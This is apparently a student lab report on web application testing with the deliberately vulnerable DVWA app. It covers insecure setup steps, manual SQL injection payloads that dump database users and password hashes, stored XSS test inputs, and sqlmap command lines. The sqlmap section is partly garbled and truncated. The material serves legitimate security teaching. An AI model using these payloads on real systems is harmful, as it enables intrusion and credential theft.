
SVBIT              Practical 4 

 

Cyber Security                                                                1                                                                 140753107003 
 

Practical: 4 

AIM: Web application testing using DVWA  

 

What is Damn Vulnerable Web App (DVWA)? 

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. 

Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, 

help web developers better understand the processes of securing web applications and aid 

teachers/students to teach/learn web application security in a class room environment. 

 

Installation of DVWA: 

Step 1: Get DVWA package. 

Step 2:   

Install essential packages if you do not install LAMP when installing the Ubuntu Server. 

sudo apt-get install apache2 mysql-server php5 unzip php5-mysql php-pear* 

Step 3:  

Extract DVWA. 

sudo cp v1.0.8.zip /var/www/ 
unzip v1.0.8.zip 

Step 4:  

sudo nano /var/www/DVWA/config/config.inc.php 

Change the "db_password" to the captioned root password, e.g. password. 

sudo nano /etc/apache2/conf.d/php.ini 

change "allow_url_include = Off" to "allow_url_inclue = On". 

sudo chmod -R 777 /var/www/DVWA/hackable/uploads/ 

Step 5:  

Point your Firefox to "http://192.168.0.10/DVWA/setup.php" to create/reset database. 

 

* where 192.168.0.10 is the IP address of the Ubuntu Server or Local Host 
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Step 6: 

Then point your Firefox to "http://192.168.0.10/DVWA/index.php". 

 

User name is "admin" and Password is "password". 

 

Screenshots: 
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Practical: 5 

AIM: Manual SQL injection using DVWA  

What is a SQL Injection? 

SQL injection (also known as SQL fishing) is a technique often used to attack data driven applications. 

This is done by including portions of SQL statements in an entry field in an attempt to get the website to 

pass a newly formed rogue SQL command to the database (e.g., dump the database contents to the 

attacker). SQL injection is a code injection technique that exploits a security vulnerability in an 

application's software. 

The vulnerability happens when user input is either incorrectly filtered for string literal escape characters 

embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection 

is mostly known as an attack vector for websites but can be used to attack any type of SQL database. 

What is SQL Injection Harvesting? 

SQL Injection Harvesting is where a malicious user supplies SQL statements to render sensitive data such 

as usernames, passwords, database tables, and more. 

SQL Injection  

1) Login to DVWA 

1. Start up Firefox  

2. Place http://localhost/dvwa/login.php in the address bar. 

3. Login: admin 

4. Password: password 

5. Click on Login 

 
2) Set DVWA Security Level 

1. Click on DVWA Security, in the left hand menu. 

2. Select "low" 
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SQL Injection Menu 

Select "SQL Injection" from the left navigation menu.  

1) print all user’s name: 

-Input "2" into the text box. 

Then Click Submit. 

-webpage/code is supposed to print ID, First name, and Surname to the screen. 

 

5.1 SQL Injection Screen 

 

2) Input the below text into the User ID Textbox  

%' or '0'='0 

In this scenario, we are saying display all record that are false and all records that are true. 

%' - Will probably not be equal to anything, and will be false. 

'0'='0' - Is equal to true, because 0 will always equal 0. 
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5.2 SQL Injection Screen 

 

3) Display Database User 

Input the below text into the User ID Textbox  

 

%' or 0=0 union select null, user() # 

 

Notice in the last displayed line, root@localhost is displayed in the surname. 
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5.3 SQL Injection Screen 

 

4) Display Database Name 

 

Input the below text into the User ID Textbox 

%' or 0=0 union select null, database() # 

Notice in the last displayed line, dvwa is displayed in the surname. 
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5.4 SQL Injection Screen 

 

 

5) Display all the columns fields in the information_schema user table 

Input the below text into the User ID Textbox  

 

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from 

information_schema.columns where table_name = 'users' # 

 

it will display all the columns in the users table. 
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5.5 SQL Injection Screen 

 

6) Display all the columns field contents in the information_schema user table 

Input the below text into the User ID Textbox 

 

%' and 1=0 union select null, concat(first_name, 0x0a, 

last_name,0x0a,user,0x0a,password) from users # 

 

Successfully displayed all the necessary authentication information into this database. 
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5.6 SQL Injection Screen 
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Practical: 6 

AIM: XSS using DVWA 

 

What is Cross Site Scripting? 

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. 

XSS enables attackers to inject client-side script into Web pages viewed by other users. 

A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same 

origin policy. 

In Addition, the attacker can send input (e.g., username, password, session ID, etc) which can be later 

captured by an external script. 

The victim's browser has no way to know that the script should not be trusted, and will execute the 

script. Because it thinks the script came from a trusted source, the malicious script can access any 

cookies, session tokens, or other sensitive information retained by the browser and used with that site. 

 

How to perform it using DVWA! 

1) Login to DVWA. 

Username: admin  

Password: password 

2) Set Security to Low. 

3) Select "XSS Stored" from the left navigation menu. 

4) XSS Test Name: Test 1 

Message: <script>alert("This is a XSS Exploit Test")</script> 

Click Sign Guestbook 

5) XSS Test Name: Test 2 

Message: <iframe src="http://www.cnn.com"></iframe> 
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*Screenshots: 

 

 

6.1 Screen 1 XSS Stored 

 

6.2 Script one Executed Test 1 
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6.3 Test 2 Executed
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Practical: 7 

AIM: Automated SQL injection with SqlMap 

 

What is SqlMap? 

Sqlmap is an awesome tool that automates SQL Injection discovery and exploitation processes. 

 

Using SqlMap 

Using sqlmap for classic SQLi is very straightforward: 

 

./sqlmap.py -u 'http://mywebsite.com/page.php?vulnparam=hello'4 

 

The target URL after the -u option includes a parameter vulnerable to SQLi (vulnparam). Sqlmap will run 

a series of tests and detect it very quickly. You can also explicitly tell sqlmap to only test specific 

parameters with the -p option. This is useful when the query contains various parameters, and you don't 

want sqlmap to test everyting. You can use the --data option to pass any POST parameters. 

To maximize successful detection and exploitation, I usually use the --headers option to pass a valid User-

Agent header 

 

Some page is clearly vulnerable to SQL Injection but due to the string manipulation routine before the 

actual SQL command, sqlmap is unable to find it: using this! 

 

./sqlmap.py --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/201  

Burp Suite has a ton of functions (most of which I’m not familiar with yet) but it’s main function is acting 

as an intercept proxy between your web browser and the website it’s viewing. By starting up Burp Suite 

and telling your web browser to send all traffic through Burp Suite (usually done by switching settings to 

port 8080) Burp Suite will then act as a middle man and capture all of the traffic routed through it, 

including traffic that would otherwise not be seen such as components of a HTTP POST request. 
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Once you have the data from the POST request then you can incorporate that information into your 

sqlmap request with the –data command like this: 

./sqlmap.py -u http://172.16.222.200 --data="uname=admin&psw=adminuser&btnLogin=Login" 

If sqlmap finds a SQL injection vulnerability from this command great, but mine did not. The first thing I 

tacked on was to specify which database the web application is using with the dbms command like this 

 

./sqlmap.py -u http://172.16.222.200 --data="uname=admin&psw=adminuser&btnLogin=Login” –

dbms=mysql 

 

Sqlmap then knows to A: not waste it’s time  with commands designed for other database systems and 

B: format generic commands to be MySQL specific. 


